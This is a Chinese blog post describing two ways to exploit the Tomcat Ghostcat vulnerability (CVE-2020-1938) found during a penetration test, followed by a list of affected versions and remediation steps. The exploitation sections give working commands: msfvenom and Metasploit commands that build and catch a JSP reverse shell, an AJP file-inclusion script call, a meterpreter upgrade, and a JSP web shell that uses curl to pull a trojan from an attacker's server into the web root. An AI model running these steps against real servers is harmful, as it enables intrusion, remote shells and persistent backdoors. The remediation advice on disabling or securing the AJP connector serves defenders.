vlambda博客
学习文章列表

两种利用CVE-2020-1938 tomcat幽灵猫漏洞的方式

背景

上周做项目遇到了tomcat开放了8009的系统,检测到存在CVE-2020-1938漏洞,而且系统还开放了8080端口web服务,里面有上传点可利用,不能上传jsp,故结合幽灵猫Ghostcat 漏洞利用了下,反弹shell,故记录之。由于项目时间比较紧,截图不是很全,各位看官凑合看下吧。

通过端口扫描看到开放了8009:

第一种方法

生成反弹shell的jsp木马:

msfvenom -p java/jsp_shell_reverse_tcp LHOST="x.x.x.x" LPORT="x" -f raw > ceshi.jsp

两种利用CVE-2020-1938 tomcat幽灵猫漏洞的方式

利用上传点上传txt后缀文件,因限制无法上传任何jsp相关文件。

两种利用CVE-2020-1938 tomcat幽灵猫漏洞的方式

上传的txt文件可被读取到:

注:-w是指定访问那个webapp也就是war,可以根据上传功能的路径确定war的名称。

两种利用CVE-2020-1938 tomcat幽灵猫漏洞的方式

msf开启监听:

use exploit/multi/handlerset payload java/jsp_shell_reverse_tcpset lhost x.x.x.xset lport xexploit

执行ajp文件包含漏洞脚本

python ajp-lfi.py -p 8009 -w xxx -f upload/10079d68-7525-4b87-8787-7cc37a1738db.txt x.x.x.x -l

两种利用CVE-2020-1938 tomcat幽灵猫漏洞的方式

从上图中可以看到反弹回来的是个普通的command shell,为了满足更多操作,需要升级为meterpreter shell

use post/multi/manage/shell_to_meterpreterset session id // 该id为刚刚反弹command shell的id run

两种利用CVE-2020-1938 tomcat幽灵猫漏洞的方式

也可以直接使用如下命令升级为meterpreter shell

sessions -u id

第二种方法

可以上传jsp文件,进行远程文件下载,并将远程木马文件安装到可解析目录。

首先需要在远程vps开启web服务:

python3 -m http.server 80

然后上传如下jsp文件,进行文件包含:

<%@ page import="java.util.*,java.io.*"%><%Runtime r = java.lang.Runtime.getRuntime();String command = "curl http://x.x.x.x/x.jsp -o ../webapps/ROOT/x.jsp";try{Process p = r.exec(command);out.println("command:"+command+"<BR>");BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()),1024);while (br.read()!=-1){out.print(br.readLine());}br.close();
}catch(IOException e){e.printStackTrace();}%> 

访问写到/webapps/ROOT/文件夹的x.jsp文件,说明木马上传成功:

使用冰蝎连接即可:

也可以使用冰蝎的反弹shell模块结合msf使用。

影响版本

Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x

修复建议

Tomcat 官方已发布 9.0.31、8.5.51 及 7.0.100 版本针对此漏洞进行修复。

要正确修复此漏洞,首先需要确定您的服务器环境中是否有用到 Tomcat AJP 协议:

- 如果未使用集群或反向代理,则基本上可以确定没有用到 AJP;

- 如果使用了集群或反向代理,则需要看集群或反代服务器是否与 Tomcat 服务器 AJP 进行通信.

1. 如果未使用 Tomcat AJP 协议:

如果确定未使用 Tomcat AJP 协议,则可以直接将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本进行漏洞修复。

具体步骤:

(1)编辑 <CATALINA_BASE>/conf/server.xml,找到如下行(<CATALINA_BASE> 为 Tomcat 的工作目录):

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

(2)将此行注释掉(或直接删掉此行):

<!--<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />-->

(3)更改完毕后,重启 Tomcat 即可。

除以上措施外,当然也可以采用防火墙等办法以阻止不可信任的来源访问 Tomcat AJP Connector 端口。

2. 如果使用了 Tomcat AJP 协议:

如果确定服务器环境中使用到了 Tomcat AJP 协议,则建议将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本,同时为 AJP Connector 配置 secret 来设置 AJP 协议认证凭证。

例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET" />

而对于无法进行版本更新、或者是更老版本的用户,则建议为 AJP Connector 配置 requiredSecret 来设置 AJP 协议认证凭证。

例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" requiredSecret="YOUR_TOMCAT_AJP_SECRET" />


最后